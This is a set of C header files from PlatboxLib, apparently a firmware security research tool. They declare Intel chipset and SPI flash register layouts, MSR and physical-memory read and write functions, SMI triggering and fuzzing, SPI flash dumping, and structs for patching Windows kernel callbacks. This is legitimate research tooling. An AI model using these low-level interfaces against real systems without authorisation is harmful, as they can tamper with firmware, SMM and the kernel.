read_hostbridge_gmch(WORD *pGmch); 28 | void read_hostbridge_deven(DWORD *pDeven); 29 | void read_hostbridge_pavpc(DWORD *pPavpc); 30 | void read_hostbridge_dpr(DWORD *pDpr); 31 | void read_hostbridge_pciexbar(DWORD64 *pPciexbar); 32 | void read_hostbridge_dmibar(DWORD64 *pDmibar); 33 | void read_hostbridge_meseg_base(DWORD64 *pMsegBase); 34 | void read_hostbridge_meseg_limit(DWORD64 *pMsegLimit); 35 | void read_hostbridge_smramc(BYTE *pSmramc); 36 | void read_hostbridge_remap_base(DWORD64 *pRemapBase); 37 | void read_hostbridge_remap_limit(DWORD64 *pRemapLimit); 38 | void read_hostbridge_tom(DWORD64 *pTom); 39 | void read_hostbridge_touud(DWORD64 *pTouud); 40 | void read_hostbridge_bdsm(DWORD *pBdsm); 41 | void read_hostbridge_bgsm(DWORD *pBgsm); 42 | void read_hostbridge_tseg(DWORD *pTseg); 43 | void read_hostbridge_tolud(DWORD *pTolud); 44 | 45 | 46 | void get_chipset_id(WORD *platformVID, WORD *platformDID, WORD *PCHVID, WORD *PCHDID); 47 | void print_pxpepbar(DWORD64 *p); 48 | void print_mchbar(DWORD64 *p); 49 | void print_gmch(WORD *p); 50 | void print_deven(DWORD *p); 51 | void print_pavpc(DWORD *p); 52 | void print_dpr(DWORD *p); 53 | void print_pciexbar(DWORD64 *p); 54 | void print_dmibar(DWORD64 *p); 55 | void print_mesegbase(DWORD64 *p); 56 | void print_meseglimit(DWORD64 *p); 57 | void print_smramc(BYTE *p); 58 | void print_remapbase(DWORD64 *p); 59 | void print_remaplimit(DWORD64 *p); 60 | void print_tom(DWORD64 *p); 61 | void print_touud(DWORD64 *p); 62 | void print_bdsm(DWORD *p); 63 | void print_bgsm(DWORD *p); 64 | void print_tsegmb(DWORD *p); 65 | void print_tolud(DWORD *p); 66 | 67 | // ACPI Operations 68 | void read_pmc_acpi_base_address(DWORD *pAcpiBase); 69 | void print_pmc_acpi_base_address(DWORD *p); 70 | void read_pmc_acpi_control(DWORD *pAcpiControl); 71 | void print_pmc_acpi_control(DWORD *p); 72 | void read_pmc_pm_base_address(DWORD *pPmBaseAddress); 73 | void print_pmc_pm_base_address(DWORD *p); 74 | 75 | // SPI Interface Operations 76 | void read_spi_interface_bios_decode_enable(DWORD *pBiosSpiBDE); 77 | void print_spi_interface_bios_decode_enable(DWORD *p); 78 | void read_spi_interface_bar0_mmio(DWORD *pBar0Mmio); 79 | void print_spi_interface_bar0_mmio(DWORD *p); 80 | void read_spi_interface_bios_control(DWORD *pBiosCtl); 81 | void print_spi_interface_bios_control(DWORD *p); 82 | 83 | // SPIBAR Operations 84 | void print_spi_bar_bios_bfpreg(DWORD *p); 85 | void print_spi_bar_hsfs_ctl(DWORD *p); 86 | void print_spi_bar_faddr(DWORD *p); 87 | void print_spi_bar_dlock(DWORD *p); 88 | void print_spi_bar_freg0(DWORD *p); 89 | void print_spi_bar_freg1(DWORD *p); 90 | void print_spi_bar_freg2(DWORD *p); 91 | void print_spi_bar_freg3(DWORD *p); 92 | void print_spi_bar_freg4(DWORD *p); 93 | void print_spi_bar_freg5(DWORD *p); 94 | void print_spi_bar_fpr0(DWORD *p); 95 | void print_spi_bar_fpr1(DWORD *p); 96 | void print_spi_bar_fpr2(DWORD *p); 97 | void print_spi_bar_fpr3(DWORD *p); 98 | void print_spi_bar_fpr4(DWORD *p); 99 | 100 | 101 | 102 | void get_smrr(UINT64 *base, UINT32 *size); 103 | 104 | void check_smm_msr_feature_control(); 105 | void check_ia32_msr_feature_control(); 106 | void check_memory_lock_msr(); 107 | 108 | void intel_get_chipset_information(); 109 | 110 | 111 | 112 | void intel_dump_spi_flash(const char *output_filename); 113 | 114 | 115 | typedef struct { 116 | DWORD64 PXPEPBAREN : 1; 117 | DWORD64 Rsvd0 : 11; 118 | DWORD64 PXPEPBAR : 27; 119 | DWORD64 Rsvd1 : 25; 120 | } _PEXPEPBAR; 121 | 122 | typedef struct { 123 | DWORD64 MCHBAREN : 1; 124 | DWORD64 Rsvd0 : 14; 125 | DWORD64 MCHBAR : 24; 126 | DWORD64 Rsvd1 : 25; 127 | } _MCHBAR; 128 | 129 | typedef struct { 130 | WORD GGCLCK : 1; // Lock all bits in the register 131 | WORD IVD : 1; // 0 -> Enable Device 2 (integrated graphics) / 1 -> Disable 132 | WORD VAMEN : 1; 133 | WORD Rsvd0 : 3; 134 | WORD GGMS : 2; 135 | WORD GMS : 8; 136 | } _GMCH; 137 | 138 | typedef struct { 139 | DWORD D0EN : 1; 140 | DWORD D1F2EN : 1; 141 | DWORD D1F1EN : 1; 142 | DWORD D1F0EN : 1; 143 | DWORD D2EN : 1; 144 | DWORD D3EN : 1; 145 | DWORD Rsvd0 : 2; 146 | DWORD D4EN : 1; 147 | DWORD Rsvd1 : 2; 148 | DWORD D5EN : 1; 149 | DWORD Rsvd2 : 2; 150 | DWORD D7EN : 1; 151 | DWORD D8EN : 1; 152 | DWORD Rsvd3 : 16; 153 | } _DEVEN; 154 | 155 | typedef struct { 156 | DWORD PCME : 1; // Protected Content Memory Enabled? 157 | DWORD PAVPE : 1; // 0 Disabled / 1 Enabled 158 | DWORD PAVPLCK : 1; 159 | DWORD HVYMODSEL : 1; 160 | DWORD OVTATTACK : 1; 161 | DWORD Rsvd0 : 1; 162 | DWORD ASMFEN : 1; 163 | DWORD Rsvd1 : 13; 164 | DWORD PCMBASE : 12; // This is locked when PAVPE = 1 165 | } _PAVPC; 166 | 167 | typedef struct { 168 | DWORD LOCK : 1; 169 | DWORD PRS : 1; 170 | DWORD EPM : 1; 171 | DWORD Rsvd0 : 1; 172 | DWORD DPRSIZE : 8; 173 | DWORD Rsvd1 : 8; 174 | DWORD TopOfDPR : 12; 175 | } _DPR; 176 | 177 | typedef struct { 178 | DWORD64 PCIEXBAREN : 1; 179 | DWORD64 LENGTH : 2; 180 | DWORD64 Rsvd0 : 23; 181 | DWORD64 ADMSK64 : 1; 182 | DWORD64 ADMSK128 : 1; 183 | DWORD64 PCIEXBAR : 11; 184 | DWORD64 Rsvd1 : 25; 185 | } _PCIEXBAR; 186 | 187 | typedef struct { // Root Complex Register Range Base Address 188 | DWORD64 DMIBAREN : 1; 189 | DWORD64 Rsvd0 : 11; 190 | DWORD64 DMIBAR : 27; 191 | DWORD64 Rsvd1 : 30; 192 | } _DMIBAR; 193 | 194 | typedef struct { 195 | DWORD64 Rsvd0 : 20; 196 | DWORD64 MEBASE : 19; 197 | DWORD64 Rsvd1 : 25; 198 | } _MESEG_BASE; 199 | 200 | typedef struct { 201 | DWORD64 Rsvd0 : 10; 202 | DWORD64 MELCK : 1; 203 | DWORD64 ME_STLEN_EN : 1; 204 | DWORD64 Rsvd1 : 8; 205 | DWORD64 MEMASK : 19; 206 | DWORD64 Rsvd2 : 25; 207 | } _MESEG_LIMIT; 208 | 209 | typedef struct { 210 | BYTE C_BASE_SEG : 3; 211 | BYTE G_SMRAME : 1; 212 | BYTE D_LCK : 1; 213 | BYTE D_CLS : 1; 214 | BYTE D_OPEN : 1; 215 | BYTE Rsvd0 : 1; 216 | } _SMRAMC; 217 | 218 | typedef struct { 219 | DWORD64 LOCK : 1; 220 | DWORD64 Rsvd0 : 19; 221 | DWORD64 REMAPBASE : 19; 222 | DWORD64 Rsvd1 : 25; 223 | } _REMAPBASE; 224 | 225 | typedef struct { 226 | DWORD64 LOCK : 1; 227 | DWORD64 Rsvd0 : 19; 228 | DWORD64 REMAPLMT : 19; 229 | DWORD64 Rsvd1 : 25; 230 | } _REMAPLIMIT; 231 | 232 | typedef struct { // Top Of Memory (TOM) 233 | DWORD64 LOCK : 1; 234 | DWORD64 Rsvd0 : 19; 235 | DWORD64 TOM : 19; 236 | DWORD64 Rsvd1 : 25; 237 | } _TOM; 238 | 239 | typedef struct { // Top Of Upper Usable DRAM 240 | DWORD64 LOCK : 1; 241 | DWORD64 Rsvd0 : 19; 242 | DWORD64 TOUUD : 19; 243 | DWORD64 Rsvd1 : 25; 244 | } _TOUUD; 245 | 246 | typedef struct { 247 | DWORD LOCK : 1; 248 | DWORD Rsvd0 : 19; 249 | DWORD BDSM : 12; 250 | } _BDSM; 251 | 252 | typedef struct { 253 | DWORD64 LOCK : 1; 254 | DWORD64 Rsvd0 : 19; 255 | DWORD64 BGSM : 12; 256 | } _BGSM; 257 | 258 | typedef struct { 259 | DWORD64 LOCK : 1; 260 | DWORD64 Rsvd0 : 19; 261 | DWORD64 TSEGMB : 19; 262 | } _TSEGMB; 263 | 264 | typedef struct { 265 | DWORD64 LOCK : 1; 266 | DWORD64 Rsvd0 : 19; 267 | DWORD64 TOLUD : 19; 268 | } _TOLUD; 269 | 270 | // ACPI B0:F31:D2 271 | 272 | typedef struct { 273 | DWORD STYPE : 1; 274 | DWORD Rsvd0 : 7; 275 | DWORD BA : 24; 276 | } _ABASE; 277 | 278 | typedef struct { 279 | DWORD SCIS : 3; 280 | DWORD Rsvd0 : 4; 281 | DWORD EN : 1; 282 | DWORD PWRM_EN : 1; 283 | DWORD Rsvd1 : 23; 284 | } _ACTL; 285 | 286 | typedef struct { 287 | DWORD STYPE : 1; 288 | DWORD Rsvd0 : 7; 289 | DWORD BA : 24; 290 | } _PWRMBASE; 291 | 292 | // SPI INTERFACE B0:F31:D5 293 | 294 | typedef struct { 295 | DWORD E40 : 1; 296 | DWORD E50 : 1; 297 | DWORD E60 : 1; 298 | DWORD E70 : 1; 299 | DWORD Rsvd0 : 2; 300 | DWORD LEE : 1; 301 | DWORD LFE : 1; 302 | DWORD EC0 : 1; 303 | DWORD EC8 : 1; 304 | DWORD ED0 : 1; 305 | DWORD ED8 : 1; 306 | DWORD EE0 : 1; 307 | DWORD EE8 : 1; 308 | DWORD EF0 : 1; 309 | DWORD EF8 : 1; 310 | DWORD Rsvd1 : 16; 311 | } _BIOS_SPI_BDE; 312 | 313 | typedef struct { 314 | DWORD WPD : 1; 315 | DWORD LE : 1; 316 | DWORD SRC : 2; 317 | DWORD TSS : 1; 318 | DWORD EISS : 1; 319 | DWORD BBS : 1; 320 | DWORD BILD : 1; 321 | DWORD SPI_SYNC_SS : 1; 322 | DWORD OSFH : 1; 323 | DWORD SPI_ASYNC_SS : 1; 324 | DWORD ASE_BWP : 1; 325 | } _BIOS_SPI_BC; 326 | 327 | // SPI BAR 328 | 329 | typedef struct { 330 | DWORD PRB : 15; 331 | DWORD Rsvd0 : 1; 332 | DWORD PRL : 15; 333 | DWORD Rsvd1 : 1; 334 | } _BIOS_BFPREG; 335 | 336 | typedef struct { 337 | DWORD FDONE : 1; 338 | DWORD FCERR : 1; 339 | DWORD H_AEL : 1; 340 | DWORD Rsvd0 : 2; 341 | DWORD H_SCPI : 1; 342 | DWORD Rsvd1 : 5; 343 | DWORD WRSDIS : 1; 344 | DWORD PRR34_LOCKDN : 1; 345 | DWORD FDOPSS : 1; 346 | DWORD FDV : 1; 347 | DWORD FLOCKDN : 1; 348 | DWORD FGO : 1; 349 | DWORD FCYCLE : 4; 350 | DWORD WET : 1; 351 | DWORD Rsvd2 : 2; 352 | DWORD FDBC : 6; 353 | DWORD Rsvd3 : 1; 354 | DWORD FSMIE : 1; 355 | } _BIOS_HSFSTS_CTL; 356 | 357 | typedef struct { 358 | DWORD FLA : 27; 359 | DWORD Rsvd : 5; 360 | } _BIOS_FADDR ; 361 | 362 | typedef struct { 363 | DWORD BMWAGLOCKDN : 1; 364 | DWORD BMRAGLOCKDN : 1; 365 | DWORD SBMWAGLOCKDN : 1; 366 | DWORD SBMRAGLOCKDN : 1; 367 | DWORD SPARE7 : 1; 368 | DWORD SPARE6 : 1; 369 | DWORD SPARE5 : 1; 370 | DWORD SPARE4 : 1; 371 | DWORD PR0LOCKDN : 1; 372 | DWORD PR1LOCKDN : 1; 373 | DWORD PR2LOCKDN : 1; 374 | DWORD PR3LOCKDN : 1; 375 | DWORD PR4LOCKDN : 1; 376 | DWORD SPARE3 : 1; 377 | DWORD SPARE2 : 1; 378 | DWORD SPARE1 : 1; 379 | DWORD SSEQLOCKDN : 1; 380 | DWORD Rsvd0 : 15; 381 | } _BIOS_DLOCK; 382 | 383 | typedef struct { 384 | DWORD RB : 15; 385 | DWORD Rsvd0 : 1; 386 | DWORD RL : 15; 387 | DWORD Rsvd1 : 1; 388 | } _BIOS_FREG; 389 | 390 | typedef struct { 391 | DWORD PRB : 15; 392 | DWORD RPE : 1; 393 | DWORD PRL : 15; 394 | DWORD WPE : 1; 395 | } _BIOS_FPR; 396 | 397 | #define IA32_FEATURE_CONTROL 0x3A 398 | #define STAR_MSR 0xC0000081 399 | #define LSTAR_MSR 0xC0000082 400 | #define CSTAR_MSR 0xC0000083 401 | #define SFMASK_MSR 0xC0000084 402 | #define IA32_SMRR_PHYSBASE_MSR 0x1F2 403 | #define IA32_SMRR_PHYSMASK_MSR 0x1F3 404 | #define LT_MEMORY_LOCK_MSR 0x2e7 405 | #define MSR_SMM_FEATURE_CONTROL 0x4E0 406 | #define MSR_BOOTGUARD 0x13A -------------------------------------------------------------------------------- /PlatboxLib/inc/intel/intel_pch_regs_gpio.h: -------------------------------------------------------------------------------- 1 | 2 | #define S_GPIO_PCR_PADCFG 0x10 3 | 4 | // 5 | // Pad Configuration Register DW0 6 | // 7 | 8 | //Pad Reset Config 9 | #define B_GPIO_PCR_RST_CONF (BIT31 | BIT30) 10 | #define N_GPIO_PCR_RST_CONF 30 11 | #define V_GPIO_PCR_RST_CONF_POW_GOOD 0x00 12 | #define V_GPIO_PCR_RST_CONF_DEEP_RST 0x01 13 | #define V_GPIO_PCR_RST_CONF_GPIO_RST 0x02 14 | #define V_GPIO_PCR_RST_CONF_RESUME_RST 0x03 // Only for GPD Group 15 | 16 | //RX Pad State Select 17 | #define B_GPIO_PCR_RX_PAD_STATE BIT29 18 | #define N_GPIO_PCR_RX_PAD_STATE 29 19 | #define V_GPIO_PCR_RX_PAD_STATE_RAW 0x00 20 | #define V_GPIO_PCR_RX_PAD_STATE_INT 0x01 21 | 22 | //RX Raw Overrride to 1 23 | #define B_GPIO_PCR_RX_RAW1 BIT28 24 | #define N_GPIO_PCR_RX_RAW1 28 25 | #define V_GPIO_PCR_RX_RAW1_DIS 0x00 26 | #define V_GPIO_PCR_RX_RAW1_EN 0x01 27 | 28 | //RX Level/Edge Configuration 29 | #define B_GPIO_PCR_RX_LVL_EDG (BIT26 | BIT25) 30 | #define N_GPIO_PCR_RX_LVL_EDG 25 31 | #define V_GPIO_PCR_RX_LVL_EDG_LVL 0x00 32 | #define V_GPIO_PCR_RX_LVL_EDG_EDG 0x01 33 | #define V_GPIO_PCR_RX_LVL_EDG_0 0x02 34 | #define V_GPIO_PCR_RX_LVL_EDG_RIS_FAL 0x03 35 | 36 | //RX Invert 37 | #define B_GPIO_PCR_RXINV BIT23 38 | #define N_GPIO_PCR_RXINV 23 39 | #define V_GPIO_PCR_RXINV_NO 0x00 40 | #define V_GPIO_PCR_RXINV_YES 0x01 41 | 42 | //GPIO Input Route IOxAPIC 43 | #define B_GPIO_PCR_RX_APIC_ROUTE BIT20 44 | #define N_GPIO_PCR_RX_APIC_ROUTE 20 45 | #define V_GPIO_PCR_RX_APIC_ROUTE_DIS 0x00 46 | #define V_GPIO_PCR_RX_APIC_ROUTE_EN 0x01 47 | 48 | //GPIO Input Route SCI 49 | #define B_GPIO_PCR_RX_SCI_ROUTE BIT19 50 | #define N_GPIO_PCR_RX_SCI_ROUTE 19 51 | #define V_GPIO_PCR_RX_SCI_ROUTE_DIS 0x00 52 | #define V_GPIO_PCR_RX_SCI_ROUTE_EN 0x01 53 | 54 | //GPIO Input Route SMI 55 | #define B_GPIO_PCR_RX_SMI_ROUTE BIT18 56 | #define N_GPIO_PCR_RX_SMI_ROUTE 18 57 | #define V_GPIO_PCR_RX_SMI_ROUTE_DIS 0x00 58 | #define V_GPIO_PCR_RX_SMI_ROUTE_EN 0x01 59 | 60 | //GPIO Input Route NMI 61 | #define B_GPIO_PCR_RX_NMI_ROUTE BIT17 62 | #define N_GPIO_PCR_RX_NMI_ROUTE 17 63 | #define V_GPIO_PCR_RX_NMI_ROUTE_DIS 0x00 64 | #define V_GPIO_PCR_RX_NMI_ROUTE_EN 0x01 65 | 66 | //GPIO Pad Mode 67 | #define B_GPIO_PCR_PAD_MODE (BIT12 | BIT11 | BIT10) 68 | #define N_GPIO_PCR_PAD_MODE 10 69 | #define V_GPIO_PCR_PAD_MODE_GPIO 0 70 | #define V_GPIO_PCR_PAD_MODE_NAT_1 1 71 | #define V_GPIO_PCR_PAD_MODE_NAT_2 2 72 | #define V_GPIO_PCR_PAD_MODE_NAT_3 3 73 | #define V_GPIO_PCR_PAD_MODE_NAT_4 4 // SPT-H only 74 | 75 | //GPIO RX Disable 76 | #define B_GPIO_PCR_RXDIS BIT9 77 | #define N_GPIO_PCR_RXDIS 9 78 | #define V_GPIO_PCR_RXDIS_EN 0x00 79 | #define V_GPIO_PCR_RXDIS_DIS 0x01 80 | 81 | //GPIO TX Disable 82 | #define B_GPIO_PCR_TXDIS BIT8 83 | #define N_GPIO_PCR_TXDIS 8 84 | #define V_GPIO_PCR_TXDIS_EN 0x00 85 | #define V_GPIO_PCR_TXDIS_DIS 0x01 86 | 87 | //GPIO RX State 88 | #define B_GPIO_PCR_RX_STATE BIT1 89 | #define N_GPIO_PCR_RX_STATE 1 90 | #define V_GPIO_PCR_RX_STATE_LOW 0x00 91 | #define V_GPIO_PCR_RX_STATE_HIGH 0x01 92 | 93 | //GPIO TX State 94 | #define B_GPIO_PCR_TX_STATE BIT0 95 | #define N_GPIO_PCR_TX_STATE 0 96 | #define V_GPIO_PCR_TX_STATE_LOW 0x00 97 | #define V_GPIO_PCR_TX_STATE_HIGH 0x01 98 | 99 | // 100 | // Pad Configuration Register DW1 101 | // 102 | 103 | //Padtol 104 | #define B_GPIO_PCR_PADTOL BIT25 105 | #define N_GPIO_PCR_PADTOL 25 106 | #define V_GPIO_PCR_PADTOL_NONE 0x00 107 | #define V_GPIO_PCR_PADTOL_CLEAR 0x00 108 | #define V_GPIO_PCR_PADTOL_SET 0x01 109 | 110 | //Termination 111 | #define B_GPIO_PCR_TERM (BIT13 | BIT12 | BIT11 | BIT10) 112 | #define N_GPIO_PCR_TERM 10 113 | #define V_GPIO_PCR_TERM_WPD_NONE 0x00 114 | #define V_GPIO_PCR_TERM_WPD_5K 0x02 115 | #define V_GPIO_PCR_TERM_WPD_20K 0x04 116 | #define V_GPIO_PCR_TERM_WPU_NONE 0x08 117 | #define V_GPIO_PCR_TERM_WPU_1K 0x09 118 | #define V_GPIO_PCR_TERM_WPU_2K 0x0B 119 | #define V_GPIO_PCR_TERM_WPU_5K 0x0A 120 | #define V_GPIO_PCR_TERM_WPU_20K 0x0C 121 | #define V_GPIO_PCR_TERM_WPU_1K_2K 0x0D 122 | #define V_GPIO_PCR_TERM_NATIVE 0x0F 123 | 124 | //Interrupt number 125 | #define B_GPIO_PCR_INTSEL 0x7F 126 | #define N_GPIO_PCR_INTSEL 0 127 | 128 | // 129 | //Debounce 130 | #define B_GPIO_PCR_DEBOUNCE (BIT4 | BIT3 | BIT2 | BIT1) 131 | #define N_GPIO_PCR_DEBOUNCE 1 132 | 133 | //Debounce Enable 134 | #define B_GPIO_PCR_DEBEN BIT0 135 | #define N_GPIO_PCR_DEBEN 0 136 | 137 | // 138 | // Ownership 139 | // 140 | #define V_GPIO_PCR_OWN_GPIO 0x01 141 | #define V_GPIO_PCR_OWN_ACPI 0x00 142 | 143 | // 144 | // GPE 145 | // 146 | #define V_GPIO_PCR_GPE_EN 0x01 147 | #define V_GPIO_PCR_GPE_DIS 0x00 148 | // 149 | // SMI 150 | // 151 | #define V_GPIO_PCR_SMI_EN 0x01 152 | #define V_GPIO_PCR_SMI_DIS 0x00 153 | // 154 | // NMI 155 | // 156 | #define V_GPIO_PCR_NMI_EN 0x01 157 | #define V_GPIO_PCR_NMI_DIS 0x00 158 | -------------------------------------------------------------------------------- /PlatboxLib/inc/linux/__linux.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "global.h" -------------------------------------------------------------------------------- /PlatboxLib/inc/msr.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "global.h" 3 | #include "types.h" 4 | 5 | /* MSR */ 6 | BOOL do_read_msr(UINT msr, UINT64 *res); 7 | BOOL do_write_msr(UINT msr, UINT64 value); 8 | BOOL do_read_msr_for_core(UINT32 core, UINT msr, UINT64 *res); 9 | BOOL do_write_msr_for_core(UINT32 core, UINT msr, UINT64 value); -------------------------------------------------------------------------------- /PlatboxLib/inc/pci.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "global.h" 3 | 4 | #define PCI_BAR0_OFFSET 0x10 5 | #define PCI_BAR1_OFFSET 0x14 6 | #define PCI_BAR2_OFFSET 0x18 7 | #define PCI_BAR3_OFFSET 0x1C 8 | #define PCI_BAR4_OFFSET 0x20 9 | 10 | 11 | #define PCI_COMMAND_OFFSET 0x04 12 | #define MEMORY_SPACE_BIT 1 13 | #define BUS_MASTER_BIT 2 14 | 15 | // Functions 16 | void read_pci_header(UINT8 bus, UINT8 device, UINT8 function); 17 | BYTE read_pci_byte(UINT8 bus, UINT8 device, UINT8 function, UINT offset); 18 | WORD read_pci_word(UINT8 bus, UINT8 device, UINT8 function, UINT offset); 19 | DWORD read_pci_dword(UINT8 bus, UINT8 device, UINT8 function, UINT offset); 20 | void write_pci_byte(UINT8 bus, UINT8 device, UINT8 function, UINT offset, UINT value); 21 | void write_pci_word(UINT8 bus, UINT8 device, UINT8 function, UINT offset, UINT value); 22 | void write_pci_dword(UINT8 bus, UINT8 device, UINT8 function, UINT offset, UINT value); 23 | void read_pci_bar_info(UINT8 bus, UINT8 device, UINT8 function, UINT offset); 24 | 25 | 26 | void pci_enable_memory_space(UINT8 bus, UINT8 device, UINT8 function); 27 | void pci_disable_memory_space(UINT8 bus, UINT8 device, UINT8 function); 28 | void pci_enable_bus_master(UINT8 bus, UINT8 device, UINT8 function); 29 | void pci_disable_bus_master(UINT8 bus, UINT8 device, UINT8 function); 30 | 31 | DWORD64 get_pci_ecam_va(); -------------------------------------------------------------------------------- /PlatboxLib/inc/physmem.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "global.h" 3 | 4 | #define PAGE_BITS 12 5 | #define PAGE_SIZE 0x1000 6 | #define PAGE_MASK 0xFFFFFFFFFFFFF000 7 | #define PAGE_OFFSET 0xFFF 8 | 9 | #define PAGE_PRESENT 63 10 | #define PAGE_SWAPPED 62 11 | 12 | #define PFN(x) (x >> PAGE_BITS) 13 | #define PFN_TO_PAGE(x) (x << PAGE_BITS) 14 | 15 | typedef enum { 16 | Reserved = 0, 17 | LoaderCode, 18 | LoaderData, 19 | BootCode, 20 | BootData, 21 | RuntimeCode, 22 | RuntimeData, 23 | Conventional, 24 | Unusable, 25 | ACPIReclaim, 26 | ACPIMemNVS, 27 | MMIO, 28 | MMIOPort, 29 | PALCode, 30 | Persistent 31 | } EFI_MEMORY_TYPE; 32 | 33 | typedef struct { 34 | UINT64 type; 35 | UINT64 pad; 36 | UINT64 phys_addr; 37 | UINT64 virt_addr; 38 | UINT64 num_pages; 39 | UINT64 attribute; 40 | } efi_memory_desc_t; 41 | 42 | 43 | struct efi_memory_map { 44 | UINT64 phys_map; 45 | /*void */ UINT64 map; 46 | /*void */ UINT64 map_end; 47 | unsigned long nr_map; 48 | unsigned long desc_version; 49 | unsigned long desc_size; 50 | #define EFI_MEMMAP_LATE (1UL << 0) 51 | #define EFI_MEMMAP_MEMBLOCK (1UL << 1) 52 | #define EFI_MEMMAP_SLAB (1UL << 2) 53 | unsigned long flags; 54 | }; 55 | 56 | static void print_struct_efi_memory_map(struct efi_memory_map *s) { 57 | printf("phys_map: %016llx\n", s->phys_map); 58 | printf("map: %016llx\n", s->map); 59 | printf("map_end: %016llx\n", s->map_end); 60 | printf("nr_map: %016llx\n", s->nr_map); 61 | printf("desc_version: %016llx\n", s->desc_version); 62 | printf("desc_size: %016llx\n", s->desc_size); 63 | printf("flags: %016llx\n", s->flags); 64 | }; 65 | 66 | struct wrap_efi_memmap { 67 | UINT64 kernel_vaddr; // retrieved from OS somehow 68 | UINT64 user_vaddr; // Mapped - not used currently 69 | struct efi_memory_map efi_memmap; 70 | efi_memory_desc_t *mm_desc_array; // memory descriptors array 71 | }; 72 | 73 | extern struct wrap_efi_memmap g_EFI_memmap; 74 | 75 | 76 | /* Iterate through an efi_memory_map */ 77 | #define for_each_efi_memory_desc_in_map(m, md) \ 78 | for ((md) = (m)->map; \ 79 | (md) && ((void *)(md) + (m)->desc_size) <= (m)->map_end; \ 80 | (md) = (void *)(md) + (m)->desc_size) 81 | 82 | 83 | #define for_each_efi_memory_desc(md) \ 84 | for_each_efi_memory_desc_in_map(&efi.memmap, md) 85 | 86 | 87 | /* physmem */ 88 | 89 | void * map_physical_memory(UINT64 address, UINT32 size); 90 | void unmap_physical_memory(void *ptr, UINT32 size); 91 | void unmap_physical_memory_unaligned(void *ptr, UINT32 size); 92 | BOOL alloc_user_mem(UINT32 size, struct alloc_user_physmem *alloc_mem); 93 | 94 | void read_physical_memory(UINT64 address, UINT32 size, PVOID buffer, BOOL bPrint); 95 | void write_byte_physical_memory(UINT64 address, UINT32 value); 96 | void read_physical_memory_into_file(UINT64 address, UINT32 size, const char *filename); 97 | 98 | void * search_in_physical_memory(UINT64 start, UINT64 end, BYTE *needle, UINT needle_size); 99 | 100 | int do_kernel_va_read(UINT64 va, UINT32 size, char *buff); 101 | 102 | int read_efi_memory_map(); 103 | void print_efi_memory_map(); 104 | 105 | #ifdef _WIN32 106 | UINT32 get_highest_physical_range_below_4G(); 107 | #endif 108 | 109 | void _map_pci_ecam(); 110 | 111 | 112 | 113 | UINT64 virt_to_phys(UINT64 va); 114 | -------------------------------------------------------------------------------- /PlatboxLib/inc/smm/smi.h: -------------------------------------------------------------------------------- 1 | #include "global.h" 2 | 3 | 4 | int trigger_smi(SW_SMI_CALL *smi_call); 5 | 6 | int trigger_smi_ex(SW_SMI_CALL *smi_call); 7 | 8 | UINT16 get_smi_port(); 9 | 10 | void print_smm_save_state(const struct SMM_SAVE_STATE* state); 11 | 12 | void diff_smm_save_state(SMM_SAVE_STATE* ss_old, SMM_SAVE_STATE* ss_new); -------------------------------------------------------------------------------- /PlatboxLib/inc/smm/smi_fuzz.h: -------------------------------------------------------------------------------- 1 | #include "global.h" 2 | #include "Util.h" 3 | #include "common_chipset.h" 4 | 5 | void fuzz_smi_number(int sw_smi_num); 6 | void fuzz_all_smi(); -------------------------------------------------------------------------------- /PlatboxLib/inc/types.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #ifdef __linux__ 5 | typedef unsigned int UINT; 6 | typedef UINT UINT32; 7 | typedef char CHAR; 8 | typedef unsigned char UCHAR; 9 | typedef int BOOL; 10 | typedef unsigned char BYTE; 11 | typedef BYTE* PBYTE; 12 | typedef BYTE UINT8; 13 | typedef BYTE BOOLEAN; 14 | 15 | #ifndef PLATBOX_CLIENT 16 | #define PLATBOX_CLIENT 17 | #endif 18 | 19 | typedef uint64_t UINT64; 20 | typedef void * PVOID; 21 | typedef unsigned short WORD; 22 | typedef unsigned short USHORT; 23 | typedef USHORT UINT16; 24 | typedef unsigned long ULONG; 25 | typedef ULONG* PULONG; 26 | typedef unsigned int DWORD; 27 | typedef unsigned int DWORD32; 28 | typedef UINT64 DWORD64; 29 | typedef int HANDLE; 30 | 31 | typedef void VOID; 32 | 33 | typedef short WCHAR; 34 | 35 | typedef int NTSTATUS; 36 | 37 | #define FALSE 0 38 | #define TRUE 1 39 | #define CHAR_BIT 8 40 | #define UCHAR_MAX 255 41 | 42 | 43 | 44 | #include 45 | #include 46 | #include 47 | #include 48 | #include 49 | #include 50 | #include 51 | 52 | #pragma pack(push, 1) 53 | typedef struct _GUID { 54 | UINT32 Data1; 55 | UINT16 Data2; 56 | UINT16 Data3; 57 | UINT8 Data4[8]; 58 | } GUID; 59 | #pragma pack(pop) 60 | 61 | #elif _WIN32 62 | #include 63 | #include 64 | 65 | #else 66 | 67 | #endif 68 | 69 | #ifndef NT_SUCCESS 70 | #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0) 71 | #endif -------------------------------------------------------------------------------- /PlatboxLib/inc/windows/__win.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "global.h" 3 | 4 | 5 | /* Hook Kernel Callbacks */ 6 | void parse_kernel_hook_operation(int argc, char **argv); 7 | typedef struct _PATCH_CALLBACK { 8 | PVOID targetAddress; 9 | UINT32 contentSize; 10 | PVOID patchContent; 11 | } PATCH_CALLBACK, *PPATCH_CALLBACK; 12 | 13 | typedef struct _RESTORE_CALLBACK { 14 | PVOID targetAddress; 15 | } RESTORE_CALLBACK, *PRESTORE_CALLBACK; 16 | 17 | /* Page Tables */ 18 | void __get_nt_base(UINT64* base); 19 | void find_pml4_idx(); 20 | UINT64 get_pxe_address(UINT64 address); 21 | void resolve_nt_functions(void); 22 | 23 | typedef NTSTATUS(NTAPI *_NtAllocateVirtualMemory) 24 | ( 25 | HANDLE ProcessHandle, 26 | PVOID* BaseAddress, 27 | ULONG zerobytes, 28 | PSIZE_T RegionSize, 29 | ULONG AllocationType, 30 | ULONG Protect 31 | ); 32 | 33 | typedef NTSTATUS(NTAPI *_NtFreeVirtualMemory) 34 | ( 35 | HANDLE ProcessHandle, 36 | PVOID *BaseAddress, 37 | PSIZE_T RegionSize, 38 | ULONG FreeType 39 | ); 40 | 41 | extern _NtAllocateVirtualMemory NtAllocateVirtualMemory; 42 | extern _NtFreeVirtualMemory NtFreeVirtualMemory; 43 | 44 | 45 